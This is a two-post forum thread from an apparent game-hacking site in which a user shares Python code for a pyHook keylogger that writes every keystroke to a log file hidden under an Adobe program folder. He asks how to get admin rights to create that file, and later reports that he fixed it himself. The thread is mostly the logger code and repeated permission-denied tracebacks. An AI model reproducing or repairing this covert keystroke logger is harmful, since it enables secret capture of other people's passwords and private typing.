Results 1 to 2 of 2
  1. #1
    Ffrocks3's Avatar
    Join Date
    Dec 2014
    Gender
    male
    Location
    🛀
    Posts
    87
    Reputation
    10
    Thanks
    9
    My Mood
    Paranoid

    Question I seem to run into simple problems that I'm too dumb to solve...

    OK so, I have been playing with this code [Python] :

    Code:
    file_log = 'C:\\Program Files\\Adobe\\KeySB.txt'
    def OnKeyboardEvent(event):
        logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
        chr(event.Ascii)
        logging.log(10,chr(event.Ascii))
        return True
    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.PumpMessages()
    I need a simple fix ( Because I know there is one ) To why this cannot access the specified folder and make a text file.
    IE: file_log ='C:\\Program Files\\Adobe\\KeySB.txt'
    I obviously know the error just not how to make the file with admin privileges.

    It gives me this:
    Code:
    Traceback (most recent call last):
      File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
        return func(event)
      File "C:\Users\Joe\Desktop\Hacks\Fun\PROJECT kappa\KeySB.pyw", line 25, in OnKeyboardEvent
        logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
      File "C:\Python27\lib\logging\__init__.py", line 1519, in basicConfig
        hdlr = FileHandler(filename, mode)
      File "C:\Python27\lib\logging\__init__.py", line 897, in __init__
        StreamHandler.__init__(self, self._open())
      File "C:\Python27\lib\logging\__init__.py", line 916, in _open
        stream = open(self.baseFilename, self.mode)
    IOError: [Errno 13] Permission denied: 'C:\\Program Files\\Adobe\\KeySB.txt'
    Traceback (most recent call last):
      File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
        return func(event)
      File "C:\Users\Joe\Desktop\Hacks\Fun\PROJECT kappa\KeySB.pyw", line 25, in OnKeyboardEvent
        logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
      File "C:\Python27\lib\logging\__init__.py", line 1519, in basicConfig
        hdlr = FileHandler(filename, mode)
      File "C:\Python27\lib\logging\__init__.py", line 897, in __init__
        StreamHandler.__init__(self, self._open())
      File "C:\Python27\lib\logging\__init__.py", line 916, in _open
        stream = open(self.baseFilename, self.mode)
    IOError: [Errno 13] Permission denied: 'C:\\Program Files\\Adobe\\KeySB.txt'
    Traceback (most recent call last):
      File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
        return func(event)
      File "C:\Users\Joe\Desktop\Hacks\Fun\PROJECT kappa\KeySB.pyw", line 25, in OnKeyboardEvent
        logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
      File "C:\Python27\lib\logging\__init__.py", line 1519, in basicConfig
        hdlr = FileHandler(filename, mode)
      File "C:\Python27\lib\logging\__init__.py", line 897, in __init__
        StreamHandler.__init__(self, self._open())
      File "C:\Python27\lib\logging\__init__.py", line 916, in _open
        stream = open(self.baseFilename, self.mode)
    IOError: [Errno 13] Permission denied: 'C:\\Program Files\\Adobe\\KeySB.txt'
    I looked it up, probably could've done better but I feel like I'll get a more reliable option when people can actually see the script.
    Last edited by Ffrocks3; 11-18-2015 at 05:32 PM.

  2. #2
    Ffrocks3's Avatar
    Join Date
    Dec 2014
    Gender
    male
    Location
    🛀
    Posts
    87
    Reputation
    10
    Thanks
    9
    My Mood
    Paranoid
    Request to delete, Figured it out!

Similar Threads

  1. [Solved] Le bot problem that seems to not go away:(
    By bob422 in forum Adventure Quest Worlds (AQW) Help
    Replies: 23
    Last Post: 05-04-2014, 01:38 AM
  2. The most simple code that will run ?
    By rabir007 in forum Crossfire Coding Help & Discussion
    Replies: 27
    Last Post: 01-03-2013, 08:39 AM
  3. Replies: 6
    Last Post: 05-24-2009, 11:21 PM
  4. Problem that isn't being answered.
    By TommyBoy in forum Combat Arms Hacks & Cheats
    Replies: 8
    Last Post: 01-08-2009, 08:05 PM
  5. Tried to find U.ammo for mp5 but i run into problems.. :(
    By TheRedEye in forum WarRock - International Hacks
    Replies: 14
    Last Post: 05-25-2007, 05:33 AM

Tags for this Thread